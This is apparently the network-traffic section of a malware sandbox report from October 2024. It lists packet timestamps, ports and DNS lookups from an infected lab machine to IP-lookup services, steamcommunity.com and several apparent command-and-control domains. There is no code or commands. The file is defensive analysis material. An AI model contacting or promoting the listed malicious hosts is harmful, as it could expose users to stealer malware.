Oct 2, 2024 17:18:04.053452015 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.053478003 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.053500891 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.053513050 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.053530931 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.053565025 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.053571939 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.053596973 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.053606987 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.054286003 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.054332018 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.054358006 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.054364920 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.054390907 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.054409981 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.054799080 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.054848909 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.054878950 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.054887056 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.054908991 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.054930925 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.071310043 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.071352959 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.071376085 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.071391106 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.071413994 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.071430922 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.092313051 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.092375040 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.092397928 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.092408895 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.092437029 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.092454910 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.112637997 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.112663984 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.112731934 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.112834930 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.112834930 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.112834930 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.112867117 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.112934113 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144036055 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144078016 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144140959 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144165993 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144191027 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144207954 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144257069 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144310951 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144320965 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144352913 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144382000 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144396067 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144823074 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144840002 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144891024 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144898891 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.144918919 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.144939899 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.145363092 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.145385027 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.145441055 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.145450115 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.145589113 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.161923885 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.161945105 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.162003994 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.162014961 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.163353920 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.507893085 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.507914066 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.507971048 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.507996082 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508023977 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508044004 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508069038 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508083105 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508132935 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508141994 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508192062 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508193016 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508208036 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508239031 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508646965 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508663893 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508693933 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508722067 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508728981 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508759022 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508786917 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508842945 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508876085 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508892059 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508898020 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.508924961 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.508943081 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.509143114 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.509159088 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.509228945 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.509238005 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.509273052 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.509782076 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.509800911 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.509829998 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.509850025 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.509857893 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.509882927 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.509922028 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.510266066 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510282993 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510330915 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510339975 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.510346889 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510371923 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.510381937 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510394096 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510396957 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.510406971 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510422945 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510432959 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.510472059 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.510477066 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.510607004 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.512722015 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.512747049 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.512792110 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.512798071 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.512829065 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.512846947 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.512958050 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.512975931 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.513011932 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.513020039 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.513042927 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.513065100 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.514013052 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514028072 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514080048 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.514087915 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514548063 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514574051 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514605999 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.514612913 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514633894 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.514658928 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.514688969 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514746904 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.514760017 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.514806986 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.515517950 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.515533924 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.515583992 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.515590906 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.515635967 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.515765905 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.515780926 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.515825033 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.515832901 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.516114950 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.517323971 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517340899 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517399073 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.517405987 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517621994 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517652988 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517673969 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.517683029 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517704010 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.517728090 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.517929077 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517946959 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.517981052 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.517987013 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.518001080 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.518023014 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.518050909 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.518065929 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.518105030 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.518114090 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.518269062 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.519207954 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.519270897 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.519407988 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.519462109 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.519465923 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.519474983 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.519521952 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520107031 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.520138979 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.520164967 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520173073 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.520190954 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520200014 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.520212889 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520220041 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.520236015 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520246983 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.520258904 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520283937 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520669937 CEST	65310	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.520687103 CEST	443	65310	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.538510084 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.538562059 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:04.538634062 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.538997889 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:04.539012909 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.312299013 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.313693047 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.330749989 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.330764055 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.333105087 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.333112001 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.333241940 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.333247900 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.610083103 CEST	65312	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.610146046 CEST	443	65312	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.610203028 CEST	65312	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.611203909 CEST	65312	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.611217022 CEST	443	65312	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.989264965 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.989356041 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.989387989 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.989443064 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:05.989471912 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.989497900 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.994256020 CEST	65311	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:05.994275093 CEST	443	65311	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:06.430291891 CEST	443	65312	49.12.197.9	192.168.2.6
Oct 2, 2024 17:18:06.430351973 CEST	65312	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:18:07.057756901 CEST	65281	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:18:08.587996960 CEST	65312	443	192.168.2.6	49.12.197.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 17:15:53.577912092 CEST	64958	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:15:53.584832907 CEST	53	64958	1.1.1.1	192.168.2.6
Oct 2, 2024 17:15:54.556775093 CEST	63002	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:15:54.564505100 CEST	53	63002	1.1.1.1	192.168.2.6
Oct 2, 2024 17:16:01.766546011 CEST	53350	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:16:01.775152922 CEST	53	53350	1.1.1.1	192.168.2.6
Oct 2, 2024 17:16:07.222531080 CEST	53	51321	1.1.1.1	192.168.2.6
Oct 2, 2024 17:16:28.478502035 CEST	63342	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:16:28.485343933 CEST	53	63342	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:08.955805063 CEST	54933	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:09.657551050 CEST	53	54933	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:09.661349058 CEST	55026	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:09.674982071 CEST	53	55026	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:10.784905910 CEST	57832	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:10.810503960 CEST	53	57832	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:11.927767038 CEST	65325	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:11.943655014 CEST	53	65325	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:12.994558096 CEST	59950	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:13.010232925 CEST	53	59950	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:14.867835999 CEST	50385	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:14.881735086 CEST	53	50385	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:15.868021011 CEST	52712	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:15.882900000 CEST	53	52712	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:16.242290974 CEST	56296	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:16.588690042 CEST	53	56296	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:17.061709881 CEST	58258	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:17.075370073 CEST	53	58258	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:18.692433119 CEST	52603	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:19.028357983 CEST	53	52603	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:20.898611069 CEST	55643	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:20.908917904 CEST	53	55643	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:31.066123962 CEST	54132	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:31.072757959 CEST	53	54132	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:31.464406013 CEST	49290	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:31.783199072 CEST	53	49290	1.1.1.1	192.168.2.6
Oct 2, 2024 17:17:38.559428930 CEST	59333	53	192.168.2.6	1.1.1.1
Oct 2, 2024 17:17:38.567738056 CEST	53	59333	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 17:15:53.577912092 CEST	192.168.2.6	1.1.1.1	0x4f50	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:15:54.556775093 CEST	192.168.2.6	1.1.1.1	0xc2c5	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:16:01.766546011 CEST	192.168.2.6	1.1.1.1	0xf11f	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:16:28.478502035 CEST	192.168.2.6	1.1.1.1	0xb176	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:08.955805063 CEST	192.168.2.6	1.1.1.1	0xb15c	Standard query (0)	chorusarorp.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:09.661349058 CEST	192.168.2.6	1.1.1.1	0xed98	Standard query (0)	questionsmw.store	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:10.784905910 CEST	192.168.2.6	1.1.1.1	0x78db	Standard query (0)	soldiefieop.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:11.927767038 CEST	192.168.2.6	1.1.1.1	0x1a59	Standard query (0)	abnomalrkmu.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:12.994558096 CEST	192.168.2.6	1.1.1.1	0x2cf7	Standard query (0)	treatynreit.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:14.867835999 CEST	192.168.2.6	1.1.1.1	0xca14	Standard query (0)	snarlypagowo.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:15.868021011 CEST	192.168.2.6	1.1.1.1	0x1337	Standard query (0)	mysterisop.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:16.242290974 CEST	192.168.2.6	1.1.1.1	0xbe3c	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:17.061709881 CEST	192.168.2.6	1.1.1.1	0xa30e	Standard query (0)	absorptioniw.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:18.692433119 CEST	192.168.2.6	1.1.1.1	0x6f70	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:20.898611069 CEST	192.168.2.6	1.1.1.1	0x1670	Standard query (0)	gravvitywio.store	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:31.066123962 CEST	192.168.2.6	1.1.1.1	0x18a5	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:31.464406013 CEST	192.168.2.6	1.1.1.1	0xe717	Standard query (0)	chorusarorp.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:38.559428930 CEST	192.168.2.6	1.1.1.1	0xbdf5	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 17:15:53.584832907 CEST	1.1.1.1	192.168.2.6	0x4f50	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:15:53.584832907 CEST	1.1.1.1	192.168.2.6	0x4f50	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:15:54.564505100 CEST	1.1.1.1	192.168.2.6	0xc2c5	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:16:01.775152922 CEST	1.1.1.1	192.168.2.6	0xf11f	No error (0)	iplogger.org		104.26.3.46	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:16:01.775152922 CEST	1.1.1.1	192.168.2.6	0xf11f	No error (0)	iplogger.org		104.26.2.46	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:16:01.775152922 CEST	1.1.1.1	192.168.2.6	0xf11f	No error (0)	iplogger.org		172.67.74.161	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:16:28.485343933 CEST	1.1.1.1	192.168.2.6	0xb176	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:09.657551050 CEST	1.1.1.1	192.168.2.6	0xb15c	Name error (3)	chorusarorp.site	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:09.674982071 CEST	1.1.1.1	192.168.2.6	0xed98	No error (0)	questionsmw.store		104.21.77.132	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:09.674982071 CEST	1.1.1.1	192.168.2.6	0xed98	No error (0)	questionsmw.store		172.67.208.141	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:10.810503960 CEST	1.1.1.1	192.168.2.6	0x78db	No error (0)	soldiefieop.site		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:10.810503960 CEST	1.1.1.1	192.168.2.6	0x78db	No error (0)	soldiefieop.site		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:11.943655014 CEST	1.1.1.1	192.168.2.6	0x1a59	No error (0)	abnomalrkmu.site		104.21.56.150	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:11.943655014 CEST	1.1.1.1	192.168.2.6	0x1a59	No error (0)	abnomalrkmu.site		172.67.152.190	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:13.010232925 CEST	1.1.1.1	192.168.2.6	0x2cf7	No error (0)	treatynreit.site		104.21.84.18	A (IP address)	IN (0x0001)	false
